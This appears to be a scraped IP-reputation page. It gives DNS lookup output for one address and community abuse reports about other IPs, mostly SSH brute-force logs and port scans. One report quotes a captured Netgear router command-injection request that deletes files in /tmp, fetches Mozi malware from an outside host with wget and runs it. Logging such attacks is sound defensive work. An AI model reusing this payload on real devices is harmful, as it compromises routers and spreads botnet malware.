Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: unknown

Region: unknown

Country: None

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
No discussion about this subnet yet..
Whois info:
b
Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 150.118.197.4
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 23333
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;150.118.197.4.			IN	A

;; AUTHORITY SECTION:
.			424	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2020040903 1800 900 604800 86400

;; Query time: 338 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Fri Apr 10 08:07:38 CST 2020
;; MSG SIZE  rcvd: 117
Host info
Host 4.197.118.150.in-addr.arpa not found: 2(SERVFAIL)
Nslookup info:
;; Got SERVFAIL reply from 183.60.83.19, trying next server
Server:		183.60.82.98
Address:	183.60.82.98#53

** server can't find 4.197.118.150.in-addr.arpa: SERVFAIL
Related IP info:
Related comments:
IP Type Details Datetime
112.17.158.193 attackspam
/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm -rf /tmp/*;wget http://112.17.158.193:49667/Mozi.m -O /tmp/netgear;sh netgear&curpath=/¤tsetting.htm=1
2019-11-24 05:13:14
185.234.217.241 attack
Nov 23 19:27:10 vmi148877 sshd\[14852\]: refused connect from 185.234.217.241 \(185.234.217.241\)
Nov 23 19:27:15 vmi148877 sshd\[14860\]: refused connect from 185.234.217.241 \(185.234.217.241\)
Nov 23 19:27:20 vmi148877 sshd\[14868\]: refused connect from 185.234.217.241 \(185.234.217.241\)
Nov 23 19:27:25 vmi148877 sshd\[14876\]: refused connect from 185.234.217.241 \(185.234.217.241\)
Nov 23 19:27:30 vmi148877 sshd\[14884\]: refused connect from 185.234.217.241 \(185.234.217.241\)
2019-11-24 05:17:59
220.164.227.106 attack
badbot
2019-11-24 05:30:43
41.32.82.134 attack
Nov 18 10:33:55 cumulus sshd[9069]: Invalid user guest from 41.32.82.134 port 18606
Nov 18 10:33:55 cumulus sshd[9069]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=41.32.82.134
Nov 18 10:33:56 cumulus sshd[9069]: Failed password for invalid user guest from 41.32.82.134 port 18606 ssh2
Nov 18 10:33:57 cumulus sshd[9069]: Received disconnect from 41.32.82.134 port 18606:11: Bye Bye [preauth]
Nov 18 10:33:57 cumulus sshd[9069]: Disconnected from 41.32.82.134 port 18606 [preauth]
Nov 18 10:43:43 cumulus sshd[9526]: Invalid user mysql from 41.32.82.134 port 42231
Nov 18 10:43:43 cumulus sshd[9526]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=41.32.82.134
Nov 18 10:43:45 cumulus sshd[9526]: Failed password for invalid user mysql from 41.32.82.134 port 42231 ssh2


........
-----------------------------------------------
https://www.blocklist.de/en/view.html?ip=41.32.82.134
2019-11-24 05:23:49
175.182.68.103 attack
port scan and connect, tcp 1433 (ms-sql-s)
2019-11-24 05:51:30
112.85.42.194 attackspam
2019-11-23T22:35:43.459115scmdmz1 sshd\[9018\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=112.85.42.194  user=root
2019-11-23T22:35:45.467323scmdmz1 sshd\[9018\]: Failed password for root from 112.85.42.194 port 38076 ssh2
2019-11-23T22:35:47.630532scmdmz1 sshd\[9018\]: Failed password for root from 112.85.42.194 port 38076 ssh2
...
2019-11-24 05:50:51
131.108.90.173 attackbots
Telnet/23 MH Probe, BF, Hack -
2019-11-24 05:24:36
36.66.56.234 attackspam
Invalid user zenghong from 36.66.56.234 port 59324
2019-11-24 05:17:32
188.65.92.213 attackspam
Automatic report - Port Scan Attack
2019-11-24 05:32:51
46.165.128.238 attack
Unauthorised access (Nov 23) SRC=46.165.128.238 LEN=44 TTL=55 ID=21574 TCP DPT=23 WINDOW=16201 SYN
2019-11-24 05:33:56
188.6.161.77 attackbotsspam
Invalid user hollack from 188.6.161.77 port 43604
2019-11-24 05:36:10
222.186.180.9 attack
Nov 21 06:25:11 microserver sshd[37633]: Failed none for root from 222.186.180.9 port 36896 ssh2
Nov 21 06:25:12 microserver sshd[37633]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=222.186.180.9  user=root
Nov 21 06:25:14 microserver sshd[37633]: Failed password for root from 222.186.180.9 port 36896 ssh2
Nov 21 06:25:17 microserver sshd[37633]: Failed password for root from 222.186.180.9 port 36896 ssh2
Nov 21 06:25:21 microserver sshd[37633]: Failed password for root from 222.186.180.9 port 36896 ssh2
Nov 21 13:30:30 microserver sshd[20061]: Failed none for root from 222.186.180.9 port 11088 ssh2
Nov 21 13:30:30 microserver sshd[20061]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=222.186.180.9  user=root
Nov 21 13:30:32 microserver sshd[20061]: Failed password for root from 222.186.180.9 port 11088 ssh2
Nov 21 13:30:36 microserver sshd[20061]: Failed password for root from 222.186.180.9 port 11088 ssh2
Nov 21 13:30:40 m
2019-11-24 05:25:44
193.202.82.182 attackspambots
9.569.685,22-03/02 [bc18/m54] PostRequest-Spammer scoring: maputo01_x2b
2019-11-24 05:30:03
80.23.50.94 attack
2019-11-23T18:35:57.687545abusebot-4.cloudsearch.cf sshd\[10627\]: Invalid user test2 from 80.23.50.94 port 48135
2019-11-24 05:48:01
193.203.8.118 attack
Ein möglicherweise gefährlicher Request.Form-Wert wurde vom Client (mp$ContentZone$TxtMessage="
2019-11-24 05:43:06

Recently Reported IPs

121.229.57.220 120.27.199.232 211.22.202.197 190.207.161.89
20.166.164.47 103.119.140.45 78.190.101.119 202.202.12.204
151.252.105.132 43.184.57.166 24.58.21.96 237.122.56.81
160.5.240.17 101.171.170.169 111.108.37.73 122.51.110.134
81.64.146.156 108.226.246.216 78.58.139.32 209.124.103.111